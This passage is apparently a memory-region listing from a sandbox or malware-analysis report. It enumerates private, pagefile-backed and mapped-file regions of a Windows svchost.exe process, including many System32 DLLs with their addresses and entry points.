Region:
id = 560
start_va = 0x1dc76d00000
end_va = 0x1dc76dfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc76d00000"
filename = ""
Region:
id = 561
start_va = 0x1dc76f50000
end_va = 0x1dc76f56fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc76f50000"
filename = ""
Region:
id = 562
start_va = 0x1dc77000000
end_va = 0x1dc770fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc77000000"
filename = ""
Region:
id = 563
start_va = 0x1dc77100000
end_va = 0x1dc771fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc77100000"
filename = ""
Region:
id = 564
start_va = 0x1dc77200000
end_va = 0x1dc772fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc77200000"
filename = ""
Region:
id = 565
start_va = 0x1dc77300000
end_va = 0x1dc773fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc77300000"
filename = ""
Region:
id = 566
start_va = 0x1dc77500000
end_va = 0x1dc775fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc77500000"
filename = ""
Region:
id = 567
start_va = 0x1dc77600000
end_va = 0x1dc776fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc77600000"
filename = ""
Region:
id = 568
start_va = 0x1dc77700000
end_va = 0x1dc777fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc77700000"
filename = ""
Region:
id = 569
start_va = 0x1dc77800000
end_va = 0x1dc778fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc77800000"
filename = ""
Region:
id = 570
start_va = 0x1dc77900000
end_va = 0x1dc779fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc77900000"
filename = ""
Region:
id = 571
start_va = 0x1dc77a00000
end_va = 0x1dc77afffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc77a00000"
filename = ""
Region:
id = 572
start_va = 0x7df5ff4a0000
end_va = 0x7ff5ff49ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007df5ff4a0000"
filename = ""
Region:
id = 573
start_va = 0x7ff6aadb0000
end_va = 0x7ff6aaeaffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007ff6aadb0000"
filename = ""
Region:
id = 574
start_va = 0x7ff6aaeb0000
end_va = 0x7ff6aaed2fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007ff6aaeb0000"
filename = ""
Region:
id = 575
start_va = 0x7ff6ab220000
end_va = 0x7ff6ab22cfff
monitored = 0
entry_point = 0x7ff6ab223980
region_type = mapped_file
name = "svchost.exe"
filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")
Region:
id = 576
start_va = 0x7ffc56090000
end_va = 0x7ffc56164fff
monitored = 0
entry_point = 0x7ffc560acf80
region_type = mapped_file
name = "wuapi.dll"
filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll")
Region:
id = 577
start_va = 0x7ffc59a80000
end_va = 0x7ffc59ac3fff
monitored = 0
entry_point = 0x7ffc59aa83e0
region_type = mapped_file
name = "updatehandlers.dll"
filename = "\\Windows\\System32\\updatehandlers.dll" (normalized: "c:\\windows\\system32\\updatehandlers.dll")
Region:
id = 578
start_va = 0x7ffc5a5f0000
end_va = 0x7ffc5a611fff
monitored = 0
entry_point = 0x7ffc5a602540
region_type = mapped_file
name = "updatepolicy.dll"
filename = "\\Windows\\System32\\updatepolicy.dll" (normalized: "c:\\windows\\system32\\updatepolicy.dll")
Region:
id = 579
start_va = 0x7ffc5a620000
end_va = 0x7ffc5a67cfff
monitored = 0
entry_point = 0x7ffc5a64e510
region_type = mapped_file
name = "usocore.dll"
filename = "\\Windows\\System32\\usocore.dll" (normalized: "c:\\windows\\system32\\usocore.dll")
Region:
id = 580
start_va = 0x7ffc5aab0000
end_va = 0x7ffc5ab16fff
monitored = 0
entry_point = 0x7ffc5aabb160
region_type = mapped_file
name = "upnp.dll"
filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll")
Region:
id = 581
start_va = 0x7ffc5ab70000
end_va = 0x7ffc5abaefff
monitored = 0
entry_point = 0x7ffc5ab982d0
region_type = mapped_file
name = "tcpipcfg.dll"
filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll")
Region:
id = 582
start_va = 0x7ffc5ca40000
end_va = 0x7ffc5cabffff
monitored = 0
entry_point = 0x7ffc5ca6d280
region_type = mapped_file
name = "webio.dll"
filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")
Region:
id = 583
start_va = 0x7ffc5cb30000
end_va = 0x7ffc5cb43fff
monitored = 0
entry_point = 0x7ffc5cb33710
region_type = mapped_file
name = "mskeyprotect.dll"
filename = "\\Windows\\System32\\mskeyprotect.dll" (normalized: "c:\\windows\\system32\\mskeyprotect.dll")
Region:
id = 584
start_va = 0x7ffc5cbe0000
end_va = 0x7ffc5cbfdfff
monitored = 0
entry_point = 0x7ffc5cbeef80
region_type = mapped_file
name = "ncryptsslp.dll"
filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll")
Region:
id = 585
start_va = 0x7ffc5f310000
end_va = 0x7ffc5f325fff
monitored = 0
entry_point = 0x7ffc5f311d50
region_type = mapped_file
name = "wwapi.dll"
filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll")
Region:
id = 586
start_va = 0x7ffc5f340000
end_va = 0x7ffc5f350fff
monitored = 0
entry_point = 0x7ffc5f347480
region_type = mapped_file
name = "tetheringclient.dll"
filename = "\\Windows\\System32\\tetheringclient.dll" (normalized: "c:\\windows\\system32\\tetheringclient.dll")
Region:
id = 587
start_va = 0x7ffc5f360000
end_va = 0x7ffc5f435fff
monitored = 0
entry_point = 0x7ffc5f38a800
region_type = mapped_file
name = "wmiprvsd.dll"
filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll")
Region:
id = 588
start_va = 0x7ffc5f4a0000
end_va = 0x7ffc5f4b5fff
monitored = 0
entry_point = 0x7ffc5f4a1af0
region_type = mapped_file
name = "napinsp.dll"
filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll")
Region:
id = 589
start_va = 0x7ffc5f4c0000
end_va = 0x7ffc5f4d9fff
monitored = 0
entry_point = 0x7ffc5f4c2330
region_type = mapped_file
name = "pnrpnsp.dll"
filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll")
Region:
id = 590
start_va = 0x7ffc5f4e0000
end_va = 0x7ffc5f4ecfff
monitored = 0
entry_point = 0x7ffc5f4e1420
region_type = mapped_file
name = "winrnr.dll"
filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll")
Region:
id = 591
start_va = 0x7ffc5f510000
end_va = 0x7ffc5f593fff
monitored = 0
entry_point = 0x7ffc5f528d50
region_type = mapped_file
name = "wbemess.dll"
filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll")
Region:
id = 592
start_va = 0x7ffc5f5c0000
end_va = 0x7ffc5f5d5fff
monitored = 0
entry_point = 0x7ffc5f5c55e0
region_type = mapped_file
name = "ncobjapi.dll"
filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll")
Region:
id = 593
start_va = 0x7ffc5f5e0000
end_va = 0x7ffc5f643fff
monitored = 0
entry_point = 0x7ffc5f5fbed0
region_type = mapped_file
name = "repdrvfs.dll"
filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll")
Region:
id = 594
start_va = 0x7ffc5f650000
end_va = 0x7ffc5f674fff
monitored = 0
entry_point = 0x7ffc5f659900
region_type = mapped_file
name = "wmiutils.dll"
filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")
Region:
id = 595
start_va = 0x7ffc5f680000
end_va = 0x7ffc5f693fff
monitored = 0
entry_point = 0x7ffc5f681800
region_type = mapped_file
name = "wbemsvc.dll"
filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")
Region:
id = 596
start_va = 0x7ffc5f6a0000
end_va = 0x7ffc5f795fff
monitored = 0
entry_point = 0x7ffc5f6d9590
region_type = mapped_file
name = "fastprox.dll"
filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")
Region:
id = 597
start_va = 0x7ffc5f7a0000
end_va = 0x7ffc5f813fff
monitored = 0
entry_point = 0x7ffc5f7b5eb0
region_type = mapped_file
name = "esscli.dll"
filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll")
Region:
id = 598
start_va = 0x7ffc5f820000
end_va = 0x7ffc5f956fff
monitored = 0
entry_point = 0x7ffc5f860480
region_type = mapped_file
name = "wbemcore.dll"
filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll")
Region:
id = 599
start_va = 0x7ffc5ffa0000
end_va = 0x7ffc5ffaefff
monitored = 0
entry_point = 0x7ffc5ffa4960
region_type = mapped_file
name = "nci.dll"
filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll")
Region:
id = 600
start_va = 0x7ffc60000000
end_va = 0x7ffc60010fff
monitored = 0
entry_point = 0x7ffc60002fc0
region_type = mapped_file
name = "wbemprox.dll"
filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")
Region:
id = 601
start_va = 0x7ffc60020000
end_va = 0x7ffc6003dfff
monitored = 0
entry_point = 0x7ffc60023a40
region_type = mapped_file
name = "atl.dll"
filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll")
Region:
id = 602
start_va = 0x7ffc60040000
end_va = 0x7ffc600c1fff
monitored = 0
entry_point = 0x7ffc60042a10
region_type = mapped_file
name = "hnetcfg.dll"
filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll")
Region:
id = 603
start_va = 0x7ffc60160000
end_va = 0x7ffc6016bfff
monitored = 0
entry_point = 0x7ffc601635c0
region_type = mapped_file
name = "secur32.dll"
filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")
Region:
id = 604
start_va = 0x7ffc60170000
end_va = 0x7ffc60186fff
monitored = 0
entry_point = 0x7ffc60177520
region_type = mapped_file
name = "usoapi.dll"
filename = "\\Windows\\System32\\usoapi.dll" (normalized: "c:\\windows\\system32\\usoapi.dll")
Region:
id = 605
start_va = 0x7ffc601c0000
end_va = 0x7ffc601fffff
monitored = 0
entry_point = 0x7ffc601ccbe0
region_type = mapped_file
name = "adsldpc.dll"
filename = "\\Windows\\System32\\adsldpc.dll" (normalized: "c:\\windows\\system32\\adsldpc.dll")
Region:
id = 606
start_va = 0x7ffc60200000
end_va = 0x7ffc60246fff
monitored = 0
entry_point = 0x7ffc60201d10
region_type = mapped_file
name = "activeds.dll"
filename = "\\Windows\\System32\\activeds.dll" (normalized: "c:\\windows\\system32\\activeds.dll")
Region:
id = 607
start_va = 0x7ffc60390000
end_va = 0x7ffc603d1fff
monitored = 0
entry_point = 0x7ffc60393670
region_type = mapped_file
name = "wdscore.dll"
filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll")
Region:
id = 608
start_va = 0x7ffc60480000
end_va = 0x7ffc6049efff
monitored = 0
entry_point = 0x7ffc604837e0
region_type = mapped_file
name = "netsetupapi.dll"
filename = "\\Windows\\System32\\NetSetupApi.dll" (normalized: "c:\\windows\\system32\\netsetupapi.dll")
Region:
id = 609
start_va = 0x7ffc604a0000
end_va = 0x7ffc60518fff
monitored = 0
entry_point = 0x7ffc604a76a0
region_type = mapped_file
name = "netsetupshim.dll"
filename = "\\Windows\\System32\\NetSetupShim.dll" (normalized: "c:\\windows\\system32\\netsetupshim.dll")
Region:
id = 610
start_va = 0x7ffc608f0000
end_va = 0x7ffc60992fff
monitored = 0
entry_point = 0x7ffc608f2c10
region_type = mapped_file
name = "clusapi.dll"
filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll")
Region:
id = 611
start_va = 0x7ffc609a0000
end_va = 0x7ffc609f1fff
monitored = 0
entry_point = 0x7ffc609a5770
region_type = mapped_file
name = "resutils.dll"
filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll")
Region:
id = 612
start_va = 0x7ffc60a00000
end_va = 0x7ffc60a2dfff
monitored = 1
entry_point = 0x7ffc60a02300
region_type = mapped_file
name = "wmidcom.dll"
filename = "\\Windows\\System32\\wmidcom.dll" (normalized: "c:\\windows\\system32\\wmidcom.dll")
Region:
id = 613
start_va = 0x7ffc60a30000
end_va = 0x7ffc60a8dfff
monitored = 0
entry_point = 0x7ffc60a35080
region_type = mapped_file
name = "miutils.dll"
filename = "\\Windows\\System32\\miutils.dll" (normalized: "c:\\windows\\system32\\miutils.dll")
Region:
id = 614
start_va = 0x7ffc60a90000
end_va = 0x7ffc60aaffff
monitored = 0
entry_point = 0x7ffc60a91f50
region_type = mapped_file
name = "mi.dll"
filename = "\\Windows\\System32\\mi.dll" (normalized: "c:\\windows\\system32\\mi.dll")
Region:
id = 615
start_va = 0x7ffc60ab0000
end_va = 0x7ffc60ab8fff
monitored = 0
entry_point = 0x7ffc60ab18f0
region_type = mapped_file
name = "sscoreext.dll"
filename = "\\Windows\\System32\\sscoreext.dll" (normalized: "c:\\windows\\system32\\sscoreext.dll")
Region:
id = 616
start_va = 0x7ffc60ac0000
end_va = 0x7ffc60ad0fff
monitored = 0
entry_point = 0x7ffc60ac1d30
region_type = mapped_file
name = "sscore.dll"
filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll")
Region:
id = 617
start_va = 0x7ffc60ae0000
end_va = 0x7ffc60af7fff
monitored = 0
entry_point = 0x7ffc60ae4e10
region_type = mapped_file
name = "adhsvc.dll"
filename = "\\Windows\\System32\\adhsvc.dll" (normalized: "c:\\windows\\system32\\adhsvc.dll")
Region:
id = 618
start_va = 0x7ffc60b00000
end_va = 0x7ffc60b24fff
monitored = 0
entry_point = 0x7ffc60b05ca0
region_type = mapped_file
name = "httpprxm.dll"
filename = "\\Windows\\System32\\httpprxm.dll" (normalized: "c:\\windows\\system32\\httpprxm.dll")
Region:
id = 619
start_va = 0x7ffc60b30000
end_va = 0x7ffc60b70fff
monitored = 0
entry_point = 0x7ffc60b33750
region_type = mapped_file
name = "sqmapi.dll"
filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll")
Region:
id = 620
start_va = 0x7ffc60b80000
end_va = 0x7ffc60c72fff
monitored = 0
entry_point = 0x7ffc60ba5d80
region_type = mapped_file
name = "iphlpsvc.dll"
filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll")
Region:
id = 621
start_va = 0x7ffc60c80000
end_va = 0x7ffc60ccbfff
monitored = 0
entry_point = 0x7ffc60c95310
region_type = mapped_file
name = "srvsvc.dll"
filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll")
Region:
id = 622
start_va = 0x7ffc60d10000
end_va = 0x7ffc60d27fff
monitored = 0
entry_point = 0x7ffc60d12000
region_type = mapped_file
name = "vsstrace.dll"
filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll")
Region:
id = 623
start_va = 0x7ffc60d30000
end_va = 0x7ffc60eb1fff
monitored = 0
entry_point = 0x7ffc60d482a0
region_type = mapped_file
name = "vssapi.dll"
filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll")
Region:
id = 624
start_va = 0x7ffc60f00000
end_va = 0x7ffc60f7efff
monitored = 0
entry_point = 0x7ffc60f17110
region_type = mapped_file
name = "wbemcomn.dll"
filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")
Region:
id = 625
start_va = 0x7ffc60f80000
end_va = 0x7ffc60fbbfff
monitored = 0
entry_point = 0x7ffc60f86aa0
region_type = mapped_file
name = "wmisvc.dll"
filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll")
Region:
id = 626
start_va = 0x7ffc61ae0000
end_va = 0x7ffc61b14fff
monitored = 0
entry_point = 0x7ffc61aea270
region_type = mapped_file
name = "fwpolicyiomgr.dll"
filename = "\\Windows\\System32\\fwpolicyiomgr.dll" (normalized: "c:\\windows\\system32\\fwpolicyiomgr.dll")
Region:
id = 627
start_va = 0x7ffc62e50000
end_va = 0x7ffc62e8ffff
monitored = 0
entry_point = 0x7ffc62e66c60
region_type = mapped_file
name = "netprofm.dll"
filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")
Region:
id = 628
start_va = 0x7ffc62e90000
end_va = 0x7ffc62e98fff
monitored = 0
entry_point = 0x7ffc62e921d0
region_type = mapped_file
name = "httpprxc.dll"
filename = "\\Windows\\System32\\httpprxc.dll" (normalized: "c:\\windows\\system32\\httpprxc.dll")
Region:
id = 629
start_va = 0x7ffc65820000
end_va = 0x7ffc65829fff
monitored = 0
entry_point = 0x7ffc658214c0
region_type = mapped_file
name = "rasadhlp.dll"
filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")
Region:
id = 630
start_va = 0x7ffc65830000
end_va = 0x7ffc65844fff
monitored = 0
entry_point = 0x7ffc65832dc0
region_type = mapped_file
name = "ondemandconnroutehelper.dll"
filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll")
Region:
id = 631
start_va = 0x7ffc66630000
end_va = 0x7ffc66641fff
monitored = 0
entry_point = 0x7ffc66633580
region_type = mapped_file
name = "cscapi.dll"
filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll")
Region:
id = 632
start_va = 0x7ffc66790000
end_va = 0x7ffc6679dfff
monitored = 0
entry_point = 0x7ffc66791460
region_type = mapped_file
name = "npmproxy.dll"
filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")
Region:
id = 633
start_va = 0x7ffc66830000
end_va = 0x7ffc6683ffff
monitored = 0
entry_point = 0x7ffc66831700
region_type = mapped_file
name = "proximityservicepal.dll"
filename = "\\Windows\\System32\\ProximityServicePal.dll" (normalized: "c:\\windows\\system32\\proximityservicepal.dll")
Region:
id = 634
start_va = 0x7ffc66840000
end_va = 0x7ffc66848fff
monitored = 0
entry_point = 0x7ffc66841ed0
region_type = mapped_file
name = "proximitycommonpal.dll"
filename = "\\Windows\\System32\\ProximityCommonPal.dll" (normalized: "c:\\windows\\system32\\proximitycommonpal.dll")
Region:
id = 635
start_va = 0x7ffc66850000
end_va = 0x7ffc6687cfff
monitored = 0
entry_point = 0x7ffc66852290
region_type = mapped_file
name = "proximitycommon.dll"
filename = "\\Windows\\System32\\ProximityCommon.dll" (normalized: "c:\\windows\\system32\\proximitycommon.dll")
Region:
id = 636
start_va = 0x7ffc66880000
end_va = 0x7ffc668d1fff
monitored = 0
entry_point = 0x7ffc668838e0
region_type = mapped_file
name = "proximityservice.dll"
filename = "\\Windows\\System32\\ProximityService.dll" (normalized: "c:\\windows\\system32\\proximityservice.dll")
Region:
id = 637
start_va = 0x7ffc668e0000
end_va = 0x7ffc668f0fff
monitored = 0
entry_point = 0x7ffc668e28d0
region_type = mapped_file
name = "credentialmigrationhandler.dll"
filename = "\\Windows\\System32\\CredentialMigrationHandler.dll" (normalized: "c:\\windows\\system32\\credentialmigrationhandler.dll")
Region:
id = 638
start_va = 0x7ffc66960000
end_va = 0x7ffc66977fff
monitored = 0
entry_point = 0x7ffc66961b10
region_type = mapped_file
name = "locationframeworkinternalps.dll"
filename = "\\Windows\\System32\\LocationFrameworkInternalPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkinternalps.dll")
Region:
id = 639
start_va = 0x7ffc669c0000
end_va = 0x7ffc669f5fff
monitored = 0
entry_point = 0x7ffc669c27f0
region_type = mapped_file
name = "windows.networking.hostname.dll"
filename = "\\Windows\\System32\\Windows.Networking.HostName.dll" (normalized: "c:\\windows\\system32\\windows.networking.hostname.dll")
Region:
id = 640
start_va = 0x7ffc66a00000
end_va = 0x7ffc66a14fff
monitored = 0
entry_point = 0x7ffc66a03460
region_type = mapped_file
name = "ssdpapi.dll"
filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll")
Region:
id = 641
start_va = 0x7ffc66b50000
end_va = 0x7ffc66b57fff
monitored = 0
entry_point = 0x7ffc66b513b0
region_type = mapped_file
name = "dmiso8601utils.dll"
filename = "\\Windows\\System32\\dmiso8601utils.dll" (normalized: "c:\\windows\\system32\\dmiso8601utils.dll")
Region:
id = 642
start_va = 0x7ffc66b60000
end_va = 0x7ffc66bf9fff
monitored = 0
entry_point = 0x7ffc66b7ada0
region_type = mapped_file
name = "shsvcs.dll"
filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll")
Region:
id = 643
start_va = 0x7ffc66c00000
end_va = 0x7ffc66cadfff
monitored = 0
entry_point = 0x7ffc66c180c0
region_type = mapped_file
name = "windows.networking.connectivity.dll"
filename = "\\Windows\\System32\\Windows.Networking.Connectivity.dll" (normalized: "c:\\windows\\system32\\windows.networking.connectivity.dll")
Region:
id = 644
start_va = 0x7ffc66cb0000
end_va = 0x7ffc66cc1fff
monitored = 0
entry_point = 0x7ffc66cb9260
region_type = mapped_file
name = "rilproxy.dll"
filename = "\\Windows\\System32\\rilproxy.dll" (normalized: "c:\\windows\\system32\\rilproxy.dll")
Region:
id = 645
start_va = 0x7ffc66cd0000
end_va = 0x7ffc66d80fff
monitored = 0
entry_point = 0x7ffc66d488b0
region_type = mapped_file
name = "cellularapi.dll"
filename = "\\Windows\\System32\\CellularAPI.dll" (normalized: "c:\\windows\\system32\\cellularapi.dll")
Region:
id = 646
start_va = 0x7ffc66d90000
end_va = 0x7ffc66df6fff
monitored = 0
entry_point = 0x7ffc66d963e0
region_type = mapped_file
name = "fwpuclnt.dll"
filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")
Region:
id = 647
start_va = 0x7ffc66e00000
end_va = 0x7ffc66ebffff
monitored = 0
entry_point = 0x7ffc66e2fd20
region_type = mapped_file
name = "fveapi.dll"
filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll")
Region:
id = 648
start_va = 0x7ffc66ec0000
end_va = 0x7ffc66ee4fff
monitored = 0
entry_point = 0x7ffc66ed2f20
region_type = mapped_file
name = "wificonnapi.dll"
filename = "\\Windows\\System32\\wificonnapi.dll" (normalized: "c:\\windows\\system32\\wificonnapi.dll")
Region:
id = 649
start_va = 0x7ffc66ef0000
end_va = 0x7ffc66f00fff
monitored = 0
entry_point = 0x7ffc66ef7ea0
region_type = mapped_file
name = "dcpapi.dll"
filename = "\\Windows\\System32\\dcpapi.dll" (normalized: "c:\\windows\\system32\\dcpapi.dll")
Region:
id = 650
start_va = 0x7ffc66f20000
end_va = 0x7ffc66f37fff
monitored = 0
entry_point = 0x7ffc66f2b850
region_type = mapped_file
name = "dmcmnutils.dll"
filename = "\\Windows\\System32\\dmcmnutils.dll" (normalized: "c:\\windows\\system32\\dmcmnutils.dll")
Region:
id = 651
start_va = 0x7ffc66f60000
end_va = 0x7ffc66f79fff
monitored = 0
entry_point = 0x7ffc66f62cf0
region_type = mapped_file
name = "locationpelegacywinlocation.dll"
filename = "\\Windows\\System32\\LocationPeLegacyWinLocation.dll" (normalized: "c:\\windows\\system32\\locationpelegacywinlocation.dll")
Region:
id = 652
start_va = 0x7ffc66f80000
end_va = 0x7ffc66fd4fff
monitored = 0
entry_point = 0x7ffc66f83fb0
region_type = mapped_file
name = "policymanager.dll"
filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll")
Region:
id = 653
start_va = 0x7ffc66fe0000
end_va = 0x7ffc67016fff
monitored = 0
entry_point = 0x7ffc66fe6020
region_type = mapped_file
name = "gnssadapter.dll"
filename = "\\Windows\\System32\\GnssAdapter.dll" (normalized: "c:\\windows\\system32\\gnssadapter.dll")
Region:
id = 654
start_va = 0x7ffc67020000
end_va = 0x7ffc6703ffff
monitored = 0
entry_point = 0x7ffc670239a0
region_type = mapped_file
name = "locationwinpalmisc.dll"
filename = "\\Windows\\System32\\LocationWinPalMisc.dll" (normalized: "c:\\windows\\system32\\locationwinpalmisc.dll")
Region:
id = 655
start_va = 0x7ffc67040000
end_va = 0x7ffc67080fff
monitored = 0
entry_point = 0x7ffc67044840
region_type = mapped_file
name = "usermgrproxy.dll"
filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll")
Region:
id = 656
start_va = 0x7ffc67140000
end_va = 0x7ffc6714afff
monitored = 0
entry_point = 0x7ffc67141d30
region_type = mapped_file
name = "winnsi.dll"
filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")
Region:
id = 657
start_va = 0x7ffc67150000
end_va = 0x7ffc6715bfff
monitored = 0
entry_point = 0x7ffc67152830
region_type = mapped_file
name = "bi.dll"
filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll")
Region:
id = 658
start_va = 0x7ffc67210000
end_va = 0x7ffc67229fff
monitored = 0
entry_point = 0x7ffc67212430
region_type = mapped_file
name = "dhcpcsvc.dll"
filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")
Region:
id = 659
start_va = 0x7ffc67230000
end_va = 0x7ffc67245fff
monitored = 0
entry_point = 0x7ffc672319f0
region_type = mapped_file
name = "dhcpcsvc6.dll"
filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")
Region:
id = 660
start_va = 0x7ffc67290000
end_va = 0x7ffc6729bfff
monitored = 0
entry_point = 0x7ffc672914d0
region_type = mapped_file
name = "locationframeworkps.dll"
filename = "\\Windows\\System32\\LocationFrameworkPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkps.dll")
Region:
id = 661
start_va = 0x7ffc672a0000
end_va = 0x7ffc672d1fff
monitored = 0
entry_point = 0x7ffc672ab0c0
region_type = mapped_file
name = "shacct.dll"
filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll")
Region:
id = 662
start_va = 0x7ffc67340000
end_va = 0x7ffc67353fff
monitored = 0
entry_point = 0x7ffc67342d50
region_type = mapped_file
name = "rtutils.dll"
filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")
Region:
id = 663
start_va = 0x7ffc67580000
end_va = 0x7ffc675c5fff
monitored = 0
entry_point = 0x7ffc675879a0
region_type = mapped_file
name = "adsldp.dll"
filename = "\\Windows\\System32\\adsldp.dll" (normalized: "c:\\windows\\system32\\adsldp.dll")
Region:
id = 664
start_va = 0x7ffc67880000
end_va = 0x7ffc678b7fff
monitored = 0
entry_point = 0x7ffc67898cc0
region_type = mapped_file
name = "iphlpapi.dll"
filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")
Region:
id = 665
start_va = 0x7ffc67960000
end_va = 0x7ffc67978fff
monitored = 0
entry_point = 0x7ffc67964520
region_type = mapped_file
name = "samcli.dll"
filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll")
Region:
id = 666
start_va = 0x7ffc67f40000
end_va = 0x7ffc68007fff
monitored = 0
entry_point = 0x7ffc67f813f0
region_type = mapped_file
name = "winhttp.dll"
filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")
Region:
id = 667
start_va = 0x7ffc68010000
end_va = 0x7ffc68070fff
monitored = 0
entry_point = 0x7ffc68014b50
region_type = mapped_file
name = "wlanapi.dll"
filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll")
Region:
id = 668
start_va = 0x7ffc68080000
end_va = 0x7ffc681fbfff
monitored = 0
entry_point = 0x7ffc680d1650
region_type = mapped_file
name = "locationframework.dll"
filename = "\\Windows\\System32\\LocationFramework.dll" (normalized: "c:\\windows\\system32\\locationframework.dll")
Region:
id = 669
start_va = 0x7ffc68200000
end_va = 0x7ffc6820afff
monitored = 0
entry_point = 0x7ffc68201770
region_type = mapped_file
name = "lfsvc.dll"
